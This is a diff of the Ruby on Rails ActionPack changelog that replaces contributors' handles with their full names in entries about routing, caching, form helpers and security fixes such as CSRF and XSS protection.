-* Remove unused ActionController::Base.template_class. Closes #10787 [Pratik]
+* Remove unused ActionController::Base.template_class. Closes #10787 [Pratik Naik]
 
-* Moved template handlers related code from ActionView::Base to ActionView::Template. [Pratik]
+* Moved template handlers related code from ActionView::Base to ActionView::Template. [Pratik Naik]
 
-* Tests for div_for and content_tag_for helpers. Closes #11223 [thechrisoshow]
+* Tests for div_for and content_tag_for helpers. Closes #11223 [Chris O'Sullivan]
 
 * Allow file uploads in Integration Tests.  Closes #11091 [RubyRedRick]
 
-* Refactor partial rendering into a PartialTemplate class. [Pratik]
+* Refactor partial rendering into a PartialTemplate class. [Pratik Naik]
 
-* Added that requests with JavaScript as the priority mime type in the accept header and no format extension in the parameters will be treated as though their format was :js when it comes to determining which template to render. This makes it possible for JS requests to automatically render action.js.rjs files without an explicit respond_to block  [DHH]
+* Added that requests with JavaScript as the priority mime type in the accept header and no format extension in the parameters will be treated as though their format was :js when it comes to determining which template to render. This makes it possible for JS requests to automatically render action.js.rjs files without an explicit respond_to block  [David Heinemeier Hansson]
 
-* Tests for distance_of_time_in_words with TimeWithZone instances. Closes #10914 [ernesto.jimenez]
+* Tests for distance_of_time_in_words with TimeWithZone instances. Closes #10914 [Ernesto Jimenez]
 
 * Remove support for multivalued (e.g., '&'-delimited) cookies. [Jamis Buck]
 
 * Fix problem with render :partial collections, records, and locals. #11057 [lotswholetime] 
 
-* Added support for naming concrete classes in sweeper declarations [DHH]
+* Added support for naming concrete classes in sweeper declarations [David Heinemeier Hansson]
 
-* Remove ERB trim variables from trace template in case ActionView::Base.erb_trim_mode is changed in the application.  #10098 [tpope, kampers]
+* Remove ERB trim variables from trace template in case ActionView::Base.erb_trim_mode is changed in the application.  #10098 [Tim Pope, Chris Kampmeier]
 
-* Fix typo in form_helper documentation.  #10650 [xaviershay, kampers]
+* Fix typo in form_helper documentation.  #10650 [Xavier Shay, Chris Kampmeier]
 
 * Fix bug with setting Request#format= after the getter has cached the value.  #10889 [cch1]
 
-* Correct inconsistencies in RequestForgeryProtection docs.  #11032 [mislav]
+* Correct inconsistencies in RequestForgeryProtection docs.  #11032 [Mislav Marohnić]
 
-* Introduce a Template class to ActionView.  #11024 [lifofifo]
+* Introduce a Template class to ActionView.  #11024 [Pratik Naik]
 
 * Introduce the :index option for form_for and fields_for to simplify multi-model forms (see http://railscasts.com/episodes/75).  #9883 [rmm5t]
 
@@ -376,7 +522,7 @@
   e.g.  map.dashboard '/dashboard', :controller=>'dashboard'
         map.root      :dashboard
 
-* Handle corner case with image_tag when passed 'messed up' image names. #9018 [duncanbeevers, mpalmer]
+* Handle corner case with image_tag when passed 'messed up' image names. #9018 [Duncan Beevers, mpalmer]
 
 * Add label_tag helper for generating elements. #10802 [DefV]
 
@@ -384,15 +530,15 @@
 
 * Performance: optimize route recognition. Large speedup for apps with many resource routes.  #10835 [oleganza]
 
-* Make render :partial recognise form builders and use the _form partial.  #10814 [djanowski]
+* Make render :partial recognise form builders and use the _form partial.  #10814 [Damian Janowski]
 
 * Allow users to declare other namespaces when using the atom feed helpers. #10304 [david.calavera]
 
 * Introduce send_file :x_sendfile => true to send an X-Sendfile response header.  [Jeremy Kemper]
 
-* Fixed ActionView::Helpers::ActiveRecordHelper::form for when protect_from_forgery is used #10739 [jeremyevans]
+* Fixed ActionView::Helpers::ActiveRecordHelper::form for when protect_from_forgery is used #10739 [Jeremy Evans]
 
-* Provide nicer access to HTTP Headers.  Instead of request.env["HTTP_REFERRER"] you can now use request.headers["Referrer"]. [Koz]
+* Provide nicer access to HTTP Headers.  Instead of request.env["HTTP_REFERRER"] you can now use request.headers["Referrer"]. [Michael Koziarski]
 
 * UrlWriter respects relative_url_root.  #10748 [Cheah Chu Yeow]
 
@@ -402,26 +548,26 @@
 
 * assert_response failures include the exception message.  #10688 [Seth Rasmussen]
 
-* All fragment cache keys are now by default prefixed with the "views/" namespace [DHH]
+* All fragment cache keys are now by default prefixed with the "views/" namespace [David Heinemeier Hansson]
 
-* Moved the caching stores from ActionController::Caching::Fragments::* to ActiveSupport::Cache::*. If you're explicitly referring to a store, like ActionController::Caching::Fragments::MemoryStore, you need to update that reference with ActiveSupport::Cache::MemoryStore [DHH]
+* Moved the caching stores from ActionController::Caching::Fragments::* to ActiveSupport::Cache::*. If you're explicitly referring to a store, like ActionController::Caching::Fragments::MemoryStore, you need to update that reference with ActiveSupport::Cache::MemoryStore [David Heinemeier Hansson]
 
-* Deprecated ActionController::Base.fragment_cache_store for ActionController::Base.cache_store [DHH]
+* Deprecated ActionController::Base.fragment_cache_store for ActionController::Base.cache_store [David Heinemeier Hansson]
 
-* Made fragment caching in views work for rjs and builder as well #6642 [zsombor]
+* Made fragment caching in views work for rjs and builder as well #6642 [Dee Zsombor]
 
 * Fixed rendering of partials with layout when done from site layout #9209 [antramm]
 
-* Fix atom_feed_helper to comply with the atom spec.  Closes #10672 [xaviershay]
+* Fix atom_feed_helper to comply with the atom spec.  Closes #10672 [Xavier Shay]
 
   * The tags created do not contain a date (http://feedvalidator.org/docs/error/InvalidTAG.html)
   * IDs are not guaranteed unique
   * A default self link was not provided, contrary to the documentation
   * NOTE:  This changes tags for existing atom entries, but at least they validate now.
 
-* Correct indentation in tests.  Closes #10671 [l.guidi]
+* Correct indentation in tests.  Closes #10671 [Luca Guidi]
 
-* Fix that auto_link looks for ='s in url paths (Amazon urls have them).  Closes #10640 [bgreenlee]
+* Fix that auto_link looks for ='s in url paths (Amazon urls have them).  Closes #10640 [Brad Greenlee]
 
 * Ensure that test case setup is run even if overridden.  #10382 [Josh Peek]
 
@@ -438,7 +584,7 @@
 
 * Added OPTIONS to list of default accepted HTTP methods #10449 [holoway]
 
-* Added option to pass proc to ActionController::Base.asset_host for maximum configurability #10521 [chuyeow]. Example:
+* Added option to pass proc to ActionController::Base.asset_host for maximum configurability #10521 [Cheah Chu Yeow]. Example:
 
     ActionController::Base.asset_host = Proc.new { |source|
       if source.starts_with?('/images')
@@ -467,45 +613,45 @@
 
 * Fixed send_file/binary_content for testing #8044 [tolsen]
 
-* When a NonInferrableControllerError is raised, make the proposed fix clearer in the error message. Closes #10199 [danger]
+* When a NonInferrableControllerError is raised, make the proposed fix clearer in the error message. Closes #10199 [Jack Danger Canty]
 
 * Update Prototype to 1.6.0.1.  [sam]
 
 * Update script.aculo.us to 1.8.0.1.  [madrobby]
 
-* Add 'disabled' attribute to <OPTION> separators used in time zone and country selects.  Closes #10354 [hasmanyjosh]
+* Add 'disabled' attribute to <OPTION> separators used in time zone and country selects.  Closes #10354 [Josh Susser]
 
-* Added the same record identification guessing rules to fields_for as form_for has [DHH]
+* Added the same record identification guessing rules to fields_for as form_for has [David Heinemeier Hansson]
 
-* Fixed that verification violations with no specified action didn't halt the chain (now they do with a 400 Bad Request) [DHH]
+* Fixed that verification violations with no specified action didn't halt the chain (now they do with a 400 Bad Request) [David Heinemeier Hansson]
 
 * Raise UnknownHttpMethod exception for unknown HTTP methods. Closes #10303 [Tarmo Tänav]
 
 * Update to Prototype -r8232.  [sam]
 
-* Make sure the optimisation code for routes doesn't get used if :host, :anchor or :port are provided in the hash arguments. [pager, Koz] #10292
+* Make sure the optimisation code for routes doesn't get used if :host, :anchor or :port are provided in the hash arguments. [pager, Michael Koziarski] #10292
 
 * Added protection from trailing slashes on page caching #10229 [devrieda]
 
-* Asset timestamps are appended, not prepended. Closes #10276 [mnaberez]
+* Asset timestamps are appended, not prepended. Closes #10276 [Mike Naberezny]
 
 * Minor inconsistency in description of render example. Closes #10029 [ScottSchram]
 
-* Add #prepend_view_path and #append_view_path instance methods on ActionController::Base for consistency with the class methods.  [rick]
+* Add #prepend_view_path and #append_view_path instance methods on ActionController::Base for consistency with the class methods.  [Rick Olson]
 
-* Refactor sanitizer helpers into HTML classes and make it easy to swap them out with custom implementations.  Closes #10129.  [rick]
+* Refactor sanitizer helpers into HTML classes and make it easy to swap them out with custom implementations.  Closes #10129.  [Rick Olson]
 
-* Add deprecation for old subtemplate syntax for ActionMailer templates, use render :partial [rick]
+* Add deprecation for old subtemplate syntax for ActionMailer templates, use render :partial [Rick Olson]
 
-* Fix TemplateError so it doesn't bomb on exceptions while running tests [rick]
+* Fix TemplateError so it doesn't bomb on exceptions while running tests [Rick Olson]
 
-* Fixed that named routes living under resources shouldn't have double slashes #10198 [isaacfeliu]
+* Fixed that named routes living under resources shouldn't have double slashes #10198 [Isaac Feliu]
 
-* Make sure that cookie sessions use a secret that is at least 30 chars in length. [Koz]
+* Make sure that cookie sessions use a secret that is at least 30 chars in length. [Michael Koziarski]
 
 * Fixed that partial rendering should look at the type of the first render to determine its own type if no other clues are available (like when using text.plain.erb as the extension in AM) #10130 [java]
 
-* Fixed that has_many :through associations should render as collections too #9051 [mathie/danger]
+* Fixed that has_many :through associations should render as collections too #9051 [mathie/Jack Danger Canty]
 
 * Added :mouseover short-cut to AssetTagHelper#image_tag for doing easy image swaps #6893 [joost]
 
@@ -513,7 +659,7 @@
 
 * Fix syntax error in documentation example for cycle method. Closes #8735 [foca]
 
-* Document :with option for link_to_remote. Closes #8765 [ryanb]
+* Document :with option for link_to_remote. Closes #8765 [Ryan Bates]
 
 * Document :minute_step option for time_select. Closes #8814 [brupm]
 
@@ -523,7 +669,7 @@
 
 * Fix broken tag in assert_tag documentation. Closes #9037 [mfazekas]
 
-* Add documentation for route conditions. Closes #9041 [innu, manfred]
+* Add documentation for route conditions. Closes #9041 [innu, Manfred Stienstra]
 
 * Fix typo left over from previous typo fix in url helper. Closes #9414 [Henrik N]
 
@@ -531,23 +677,23 @@
 
 * Update Prototype to 1.6.0 and script.aculo.us to 1.8.0.  [sam, madrobby]
 
-* Expose the cookie jar as a helper method (before the view would just get the raw cookie hash) [DHH]
+* Expose the cookie jar as a helper method (before the view would just get the raw cookie hash) [David Heinemeier Hansson]
 
 * Integration tests: get_ and post_via_redirect take a headers hash.  #9130 [simonjefford]
 
-* Simplfy #view_paths implementation.  ActionView templates get the exact object, not a dup.  [Rick]
+* Simplfy #view_paths implementation.  ActionView templates get the exact object, not a dup.  [Rick Olson]
 
-* Update tests for ActiveSupport's JSON escaping change.  [rick]
+* Update tests for ActiveSupport's JSON escaping change.  [Rick Olson]
 
 * FormHelper's auto_index should use #to_param instead of #id_before_type_cast.  Closes #9994 [mattly]
 
 * Doc typo fixes for ActiveRecordHelper. Closes #9973 [mikong]
 
-* Make example parameters in restful routing docs idiomatic. Closes #9993 [danger]
+* Make example parameters in restful routing docs idiomatic. Closes #9993 [Jack Danger Canty]
 
 * Make documentation comment for mime responders match documentation example.  Closes #9357 [yon]
 
-* Introduce a new test case class for functional tests.  ActionController::TestCase. [Koz]
+* Introduce a new test case class for functional tests.  ActionController::TestCase. [Michael Koziarski]
 
 * Fix incorrect path in helper rdoc. Closes #9926 [viktor tron]
 
@@ -563,13 +709,13 @@
 
 * Disabled checkboxes don't submit a form value.  #9301 [vladr, robinjfisher]
 
-* Added tests for options to ActiveRecordHelper#form. Closes #7213 [richcollins, mikong, mislav]
+* Added tests for options to ActiveRecordHelper#form. Closes #7213 [richcollins, mikong, Mislav Marohnić]
 
-* Changed before_filter halting to happen automatically on render or redirect but no longer on simply returning false [DHH]
+* Changed before_filter halting to happen automatically on render or redirect but no longer on simply returning false [David Heinemeier Hansson]
 
 * Ensure that cookies handle array values correctly.  Closes #9937 [queso]
 
-* Make sure resource routes don't clash with internal helpers like javascript_path, image_path etc.  #9928 [gbuesing]
+* Make sure resource routes don't clash with internal helpers like javascript_path, image_path etc.  #9928 [Geoff Buesing]
 
 * caches_page uses a single after_filter instead of one per action.  #9891 [Pratik Naik]
 
@@ -581,15 +727,15 @@
 
 * error_messages_for also takes :message and :header_message options which defaults to the old "There were problems with the following fields:" and "<count> errors prohibited this <object_name> from being saved".  #8270 [rmm5t, zach-inglis-lt3]
 
-* Make sure that custom inflections are picked up by map.resources.  #9815 [mislav]
+* Make sure that custom inflections are picked up by map.resources.  #9815 [Mislav Marohnić]
 
-* Changed SanitizeHelper#sanitize to only allow the custom attributes and tags when specified in the call [DHH]
+* Changed SanitizeHelper#sanitize to only allow the custom attributes and tags when specified in the call [David Heinemeier Hansson]
 
-* Extracted sanitization methods from TextHelper to SanitizeHelper [DHH]
+* Extracted sanitization methods from TextHelper to SanitizeHelper [David Heinemeier Hansson]
 
 * rescue_from accepts :with => lambda { |exception| ... } or a normal block.  #9827 [Pratik Naik]
 
-* Add :status to redirect_to allowing users to choose their own response code without manually setting headers. #8297 [codahale, chasgrundy]
+* Add :status to redirect_to allowing users to choose their own response code without manually setting headers. #8297 [Coda Hale, chasgrundy]
 
 * Add link_to :back which uses your referrer with a fallback to a javascript link. #7366 [eventualbuddha, Tarmo Tänav]
 
@@ -597,13 +743,13 @@
 
 * Fix url_for, redirect_to, etc. with :controller => :symbol instead of 'string'.  #8562, #9525 [Justin Lynn, Tarmo Tänav, shoe]
 
-* Use #require_library_or_gem to load the memcache library for the MemCache session and fragment cache stores.  Closes #8662. [Rick]
+* Use #require_library_or_gem to load the memcache library for the MemCache session and fragment cache stores.  Closes #8662. [Rick Olson]
 
-* Move ActionController::Routing.optimise_named_routes to ActionController::Base.optimise_named_routes.  Now you can set it in the config. [Rick]
+* Move ActionController::Routing.optimise_named_routes to ActionController::Base.optimise_named_routes.  Now you can set it in the config. [Rick Olson]
 
   config.action_controller.optimise_named_routes = false
 
-* ActionController::Routing::DynamicSegment#interpolation_chunk should call #to_s on all values before calling URI.escape.  [Rick]
+* ActionController::Routing::DynamicSegment#interpolation_chunk should call #to_s on all values before calling URI.escape.  [Rick Olson]
 
 * Only accept session ids from cookies, prevents session fixation attacks.  [bradediger] 
 
@@ -612,7 +758,7 @@
 
 * Fixed that render template did not honor exempt_from_layout #9698 [pezra]
 
-* Better error messages if you leave out the :secret option for request forgery protection.  Closes #9670 [rick]
+* Better error messages if you leave out the :secret option for request forgery protection.  Closes #9670 [Rick Olson]
 
 * Allow ability to disable request forgery protection, disable it in test mode by default.  Closes #9693 [Pratik Naik]
 
@@ -624,40 +770,40 @@
 
 * Cache asset ids.  [Jeremy Kemper]
 
-* Optimized named routes respect AbstractRequest.relative_url_root.  #9612 [danielmorrison, Jeremy Kemper]
+* Optimized named routes respect AbstractRequest.relative_url_root.  #9612 [Daniel Morrison, Jeremy Kemper]
 
 * Introduce ActionController::Base.rescue_from to declare exception-handling methods. Cleaner style than the case-heavy rescue_action_in_public.  #9449 [Norbert Crombach]
 
-* Rename some RequestForgeryProtection methods.  The class method is now #protect_from_forgery, and the default parameter is now 'authenticity_token'.  [Rick]
+* Rename some RequestForgeryProtection methods.  The class method is now #protect_from_forgery, and the default parameter is now 'authenticity_token'.  [Rick Olson]
 
-* Merge csrf_killer plugin into rails.  Adds RequestForgeryProtection model that verifies session-specific _tokens for non-GET requests.  [Rick]
+* Merge csrf_killer plugin into rails.  Adds RequestForgeryProtection model that verifies session-specific _tokens for non-GET requests.  [Rick Olson]
 
-* Secure #sanitize, #strip_tags, and #strip_links helpers against xss attacks.  Closes #8877. [Rick, Pratik Naik, Jacques Distler]
+* Secure #sanitize, #strip_tags, and #strip_links helpers against xss attacks.  Closes #8877. [Rick Olson, Pratik Naik, Jacques Distler]
 
   This merges and renames the popular white_list helper (along with some css sanitizing from Jacques Distler version of the same plugin).
   Also applied updated versions of #strip_tags and #strip_links from #8877.
 
 * Remove use of & logic operator. Closes #8114. [watson]
 
-* Fixed JavaScriptHelper#escape_javascript to also escape closing tags #8023 [rubyruy]
+* Fixed JavaScriptHelper#escape_javascript to also escape closing tags #8023 [Ruy Asan]
 
 * Fixed TextHelper#word_wrap for multiline strings with extra carrier returns #8663 [seth]
 
 * Fixed that setting the :host option in url_for would automatically turn off :only_path (since :host would otherwise not be shown) #9586 [Bounga]
 
-* Added FormHelper#label.  #8641, #9850 [jcoglan, jarkko]
+* Added FormHelper#label.  #8641, #9850 [jcoglan, Jarkko Laine]
 
-* Added AtomFeedHelper (slightly improved from the atom_feed_helper plugin) [DHH]
+* Added AtomFeedHelper (slightly improved from the atom_feed_helper plugin) [David Heinemeier Hansson]
 
-* Prevent errors when generating routes for uncountable resources, (i.e. sheep where plural == singluar).   map.resources :sheep now creates sheep_index_url for the collection and sheep_url for the specific item.  [Koz]
+* Prevent errors when generating routes for uncountable resources, (i.e. sheep where plural == singluar).   map.resources :sheep now creates sheep_index_url for the collection and sheep_url for the specific item.  [Michael Koziarski]
 
-* Added support for HTTP Only cookies (works in IE6+ and FF 2.0.5+) as an improvement for XSS attacks #8895 [Pratik Naik, Spakman]
+* Added support for HTTP Only cookies (works in IE6+ and FF 2.0.5+) as an improvement for XSS attacks #8895 [Pratik Naik, Mark Somerville]
 
 * Don't warn when a path segment precedes a required segment. Closes #9615. [Nicholas Seckar]
 
 * Fixed CaptureHelper#content_for to work with the optional content parameter instead of just the block #9434 [sandofsky/wildchild].
 
-* Added Mime::Type.register_alias for dealing with different formats using the same mime type [DHH]. Example:
+* Added Mime::Type.register_alias for dealing with different formats using the same mime type [David Heinemeier Hansson]. Example:
 
     class PostsController < ApplicationController
       before_filter :adjust_format_for_iphone
@@ -680,7 +826,7 @@
         end
     end
 
-* Added that render :json will automatically call .to_json unless it's being passed a string [DHH].
+* Added that render :json will automatically call .to_json unless it's being passed a string [David Heinemeier Hansson].
 
 * Autolink behaves well with emails embedded in URLs.  #7313 [Jeremy McAnally, Tarmo Tänav]
 
@@ -692,7 +838,7 @@
 
 * root_path returns '/' not ''.  #9563 [Pratik Naik]
 
-* Fixed that setting request.format should also affect respond_to blocks [DHH]
+* Fixed that setting request.format should also affect respond_to blocks [David Heinemeier Hansson]
 
 * Add option to force binary mode on tempfile used for fixture_file_upload.  #6380 [Jonathan Viney]
 
@@ -702,20 +848,20 @@
 
 * Moved ActionController::Macros::InPlaceEditing into the in_place_editor plugin on the official Rails svn.  #9513 [Pratik Naik]
 
-* Removed deprecated form of calling xml_http_request/xhr without the first argument being the http verb [DHH]
+* Removed deprecated form of calling xml_http_request/xhr without the first argument being the http verb [David Heinemeier Hansson]
 
-* Removed deprecated methods [DHH]:
+* Removed deprecated methods [David Heinemeier Hansson]:
 
   - ActionController::Base#keep_flash (use flash.keep instead)
   - ActionController::Base#expire_matched_fragments (just call expire_fragment with a regular expression)
   - ActionController::Base.template_root/= methods (use ActionController#Base.view_paths/= instead)
   - ActionController::Base.cookie (use ActionController#Base.cookies[]= instead)
 
-* Removed the deprecated behavior of appending ".png" to image_tag/image_path calls without an existing extension [DHH]
+* Removed the deprecated behavior of appending ".png" to image_tag/image_path calls without an existing extension [David Heinemeier Hansson]
 
-* Removed ActionController::Base.scaffold -- it went through the whole idea of scaffolding (card board walls you remove and tweak one by one). Use the scaffold generator instead (it does resources too now!) [DHH]
+* Removed ActionController::Base.scaffold -- it went through the whole idea of scaffolding (card board walls you remove and tweak one by one). Use the scaffold generator instead (it does resources too now!) [David Heinemeier Hansson]
 
-* Optimise named route generation when using positional arguments.  [Koz]
+* Optimise named route generation when using positional arguments.  [Michael Koziarski]
 
   This change delivers significant performance benefits for the most
   common usage scenarios for modern rails applications by avoiding the
@@ -726,9 +872,9 @@
 
 * Fix layout overriding response status.  #9476 [lotswholetime]
 
-* Add field_set_tag for generating field_sets, closes #9477. [djanowski]
+* Add field_set_tag for generating field_sets, closes #9477. [Damian Janowski]
 
-* Allow additional parameters to be passed to named route helpers when using positional arguments.  Closes #8930 [ian.w.white@gmail.com]
+* Allow additional parameters to be passed to named route helpers when using positional arguments.  Closes #8930 [Ian White]
 
 * Make render :partial work with a :collection of Hashes, previously this wasn't possible due to backwards compatibility restrictions.  [Pratik Naik]
 
@@ -738,15 +884,15 @@
 
 * Find layouts even if they're not in the first view_paths directory.  Closes #9258 [caio]
 
-* Major improvement to the documentation for the options / select form helpers. Closes #9038 [kampers, jardeon, wesg]
+* Major improvement to the documentation for the options / select form helpers. Closes #9038 [Chris Kampmeier, jardeon, wesg]
 
 * Fix number_to_human_size when using different precisions. Closes #7536. [RichardStrand, mpalmer]
 
-* Added partial layouts (see example in action_view/lib/partials.rb) [DHH]
+* Added partial layouts (see example in action_view/lib/partials.rb) [David Heinemeier Hansson]
 
-* Allow you to set custom :conditions on resource routes.  [Rick]
+* Allow you to set custom :conditions on resource routes.  [Rick Olson]
 
-* Fixed that file.content_type for uploaded files would include a trailing \r #9053 [bgreenlee]
+* Fixed that file.content_type for uploaded files would include a trailing \r #9053 [Brad Greenlee]
 
 * url_for now accepts a series of symbols representing the namespace of the record [Josh Knowles]
 
@@ -754,7 +900,7 @@
 
 * Make sure missing template exceptions actually say which template they were looking for.  Closes #8683 [dasil003]
 
-* Fix errors with around_filters which do not yield, restore 1.1 behaviour with after filters. Closes #8891 [skaes]
+* Fix errors with around_filters which do not yield, restore 1.1 behaviour with after filters. Closes #8891 [Stefan Kaes]
 
   After filters will *no longer* be run if an around_filter fails to yield, users relying on
   this behaviour are advised to put the code in question after a yield statement in an around filter.
@@ -766,13 +912,13 @@
 
   render :partial => 'show.html.erb'
 
-* Improve capture helper documentation.  #8796 [kampers]
+* Improve capture helper documentation.  #8796 [Chris Kampmeier]
 
 * Prefix nested resource named routes with their action name, e.g. new_group_user_path(@group) instead of group_new_user_path(@group). The old nested action named route is deprecated in Rails 1.2.4.  #8558 [David Chelimsky]
 
-* Allow sweepers to be created solely for expiring after controller actions, not model changes [DHH]
+* Allow sweepers to be created solely for expiring after controller actions, not model changes [David Heinemeier Hansson]
 
-* Added assigns method to ActionController::Caching::Sweeper to easily access instance variables on the controller [DHH]
+* Added assigns method to ActionController::Caching::Sweeper to easily access instance variables on the controller [David Heinemeier Hansson]
 
 * Give the legacy X-POST_DATA_FORMAT header greater precedence during params parsing for backward compatibility.  [Jeremy Kemper]
 
@@ -780,11 +926,11 @@
 
 * Fixed that radio_button_tag should generate unique ids #3353 [Bob Silva, Rebecca, Josh Peek]
 
-* Fixed that HTTP authentication should work if the header is called REDIRECT_X_HTTP_AUTHORIZATION as well #6754 [mislaw]
+* Fixed that HTTP authentication should work if the header is called REDIRECT_X_HTTP_AUTHORIZATION as well #6754 [Mislav Marohnić]
 
 * Don't mistakenly interpret the request uri as the query string.  #8731 [Pratik Naik, Jeremy Kemper]
 
-* Make ActionView#view_paths an attr_accessor for real this time.  Also, don't perform an unnecessary #compact on the @view_paths array in #initialize.  Closes #8582 [dasil003, julik, rick]
+* Make ActionView#view_paths an attr_accessor for real this time.  Also, don't perform an unnecessary #compact on the @view_paths array in #initialize.  Closes #8582 [dasil003, julik, Rick Olson]
 
 * Tolerate missing content type on multipart file uploads. Fix for Safari 3.  [Jeremy Kemper]
 
@@ -800,7 +946,7 @@
 
 * Resources: url_for([parent, child]) generates /parents/1/children/2 for the nested resource. Likewise with the other simply helpful methods like form_for and link_to.  #6432 [mhw, Jonathan Vaught, lotswholetime]
 
-* Assume html format when rendering partials in RJS. #8076 [Rick]
+* Assume html format when rendering partials in RJS. #8076 [Rick Olson]
 
 * Don't double-escape url_for in views.  #8144 [Rich Collins, Josh Peek]
 
@@ -820,13 +966,13 @@
 
 * Reduce file stat calls when checking for template changes.  #7736 [alex]
 
-* Added custom path cache_page/expire_page parameters in addition to the options hashes [DHH]. Example:
+* Added custom path cache_page/expire_page parameters in addition to the options hashes [David Heinemeier Hansson]. Example:
 
     def index
       caches_page(response.body, "/index.html")
     end
 
-* Action Caching speedup.  #8231 [skaes]
+* Action Caching speedup.  #8231 [Stefan Kaes]
 
 * Wordsmith resources documentation.  #8484 [marclove]
 
@@ -844,21 +990,21 @@
 
 * Added option to suppress :size when using :maxlength for FormTagHelper#text_field #3112 [Tim Pope]
 
-* catch possible WSOD when trying to render a missing partial. Closes #8454 [Catfish]
+* catch possible WSOD when trying to render a missing partial. Closes #8454 [Jonathan del Strother]
 
 * Rewind request body after reading it, if possible.  #8438 [s450r1]
 
-* Resource namespaces are inherited by their has_many subresources.  #8280 [marclove, ggarside]
+* Resource namespaces are inherited by their has_many subresources.  #8280 [marclove, Geoff Garside]
 
 * Fix filtered parameter logging with nil parameter values.  #8422 [choonkeat]
 
-* Integration tests: alias xhr to xml_http_request and add a request_method argument instead of always using POST.  #7124 [Nik Wakelin, Francois Beausoleil, Wizard]
+* Integration tests: alias xhr to xml_http_request and add a request_method argument instead of always using POST.  #7124 [Nik Wakelin, François Beausoleil, Wizard]
 
 * Document caches_action.  #5419 [Jarkko Laine]
 
 * Update to Prototype 1.5.1.  [Sam Stephenson]
 
-* Allow routes to be decalred under namespaces [Tobias Luetke]: 
+* Allow routes to be decalred under namespaces [Tobias Lütke]: 
   
   map.namespace :admin do |admin|
     admin.root :controller => "products"       
@@ -867,13 +1013,13 @@
   
 * Update to script.aculo.us 1.7.1_beta3.  [Thomas Fuchs]
 
-* observe_form always sends the serialized form.  #5271 [manfred, normelton@gmail.com]
+* observe_form always sends the serialized form.  #5271 [Manfred Stienstra, normelton@gmail.com]
 
 * Parse url-encoded and multipart requests ourselves instead of delegating to CGI.  [Jeremy Kemper]
 
 * select :include_blank option can be set to a string instead of true, which just uses an empty string.  #7664 [Wizard]
 
-* Added url_for usage on render :location, which allows for record identification [DHH]. Example:
+* Added url_for usage on render :location, which allows for record identification [David Heinemeier Hansson]. Example:
 
     render :xml => person, :status => :created, :location => person
   
@@ -899,7 +1045,7 @@
     end
   end
 
-* Added record identifications to FormHelper#form_for and PrototypeHelper#remote_form_for [DHH]. Examples:
+* Added record identifications to FormHelper#form_for and PrototypeHelper#remote_form_for [David Heinemeier Hansson]. Examples:
 
     <% form_for(@post) do |f| %>
       ...
@@ -923,28 +1069,28 @@
       ...
     <% end %>
 
-* Rationalize route path escaping according to RFC 2396 section 3.3.  #7544, #8307. [Jeremy Kemper, chrisroos, begemot, jugend]
+* Rationalize route path escaping according to RFC 2396 section 3.3.  #7544, #8307. [Jeremy Kemper, Chris Roos, begemot, jugend]
 
-* Added record identification with polymorphic routes for ActionController::Base#url_for and ActionView::Base#url_for [DHH]. Examples:
+* Added record identification with polymorphic routes for ActionController::Base#url_for and ActionView::Base#url_for [David Heinemeier Hansson]. Examples:
 
     redirect_to(post)         # => redirect_to(posts_url(post))         => Location: http://example.com/posts/1
     link_to(post.title, post) # => link_to(post.title, posts_url(post)) => <a href="/posts/1">Hello world</a>
 
   Any method that calls url_for on its parameters will automatically benefit from this. 
 
-* Removed deprecated parameters_for_method_reference concept (legacy from before named routes) [DHH]
+* Removed deprecated parameters_for_method_reference concept (legacy from before named routes) [David Heinemeier Hansson]
 
 * Add ActionController::Routing::Helpers, a module to contain common URL helpers such as polymorphic_url. [Nicholas Seckar]
 
-* Included the HttpAuthentication plugin as part of core (ActionController::HttpAuthentication::Basic) [DHH]
+* Included the HttpAuthentication plugin as part of core (ActionController::HttpAuthentication::Basic) [David Heinemeier Hansson]
 
-* Modernize documentation for form helpers. [jeremymcanally]
+* Modernize documentation for form helpers. [Jeremy McAnally]
 
 * Add brief introduction to REST to the resources documentation. [fearoffish]
 
 * Fix various documentation typos throughout ActionPack. [Henrik N]
 
-* Enhance documentation and add examples for url_for. [jeremymcanally]
+* Enhance documentation and add examples for url_for. [Jeremy McAnally]
 
 * Fix documentation typo in routes. [Norbert Crombach, pam]
 
@@ -954,24 +1100,24 @@
 
 * Replace the current block/continuation filter chain handling by an implementation based on a simple loop.  #8226 [Stefan Kaes]
 
-* Update UrlWriter to accept :anchor parameter. Closes #6771. [octopod]
+* Update UrlWriter to accept :anchor parameter. Closes #6771. [Chris McGrath]
 
-* Added RecordTagHelper for using RecordIdentifier conventions on divs and other container elements [DHH]. Example:
+* Added RecordTagHelper for using RecordIdentifier conventions on divs and other container elements [David Heinemeier Hansson]. Example:
 
     <% div_for(post) do %>     <div id="post_45" class="post">
       <%= post.body %>           What a wonderful world!
     <% end %>                  </div>
 
-* Added page[record] accessor to JavaScriptGenerator that relies on RecordIdentifier to find the right dom id [DHH]. Example:
+* Added page[record] accessor to JavaScriptGenerator that relies on RecordIdentifier to find the right dom id [David Heinemeier Hansson]. Example:
 
     format.js do
       # Calls: new Effect.fade('post_45');
       render(:update) { |page| page[post].visual_effect(:fade) }
     end
 
-* Added RecordIdentifier to enforce view conventions on records for dom ids, classes, and partial paths [DHH]
+* Added RecordIdentifier to enforce view conventions on records for dom ids, classes, and partial paths [David Heinemeier Hansson]
 
-* Added map.namespace to deal with the common situation of admin sections and the like [DHH]
+* Added map.namespace to deal with the common situation of admin sections and the like [David Heinemeier Hansson]
 
     Before:
     
@@ -989,7 +1135,7 @@
           :has_many   => [ :tags, :images, :variants ]
       end
 
-* Added :name_prefix as standard for nested resources [DHH]. WARNING: May be backwards incompatible with your app
+* Added :name_prefix as standard for nested resources [David Heinemeier Hansson]. WARNING: May be backwards incompatible with your app
 
     Before:
 
@@ -1007,7 +1153,7 @@
     
     This does mean that if you intended to have comments_url go to /emails/5/comments, then you'll have to set :name_prefix to nil explicitly.
 
-* Added :has_many and :has_one for declaring plural and singular resources beneath the current [DHH]
+* Added :has_many and :has_one for declaring plural and singular resources beneath the current [David Heinemeier Hansson]
 
     Before:
       
@@ -1021,28 +1167,28 @@
     
       map.resources :notes, :has_many => [ :comments, :attachments ], :has_one => :author
 
-* Added that render :xml will try to call to_xml if it can [DHH]. Makes these work:
+* Added that render :xml will try to call to_xml if it can [David Heinemeier Hansson]. Makes these work:
 
     render :xml => post
     render :xml => comments
 
-* Added :location option to render so that the common pattern of rendering a response after creating a new resource is now a 1-liner [DHH]
+* Added :location option to render so that the common pattern of rendering a response after creating a new resource is now a 1-liner [David Heinemeier Hansson]
 
     render :xml => post.to_xml, :status => :created, :location => post_url(post)
 
-* Ensure that render_text only adds string content to the body of the response [DHH]
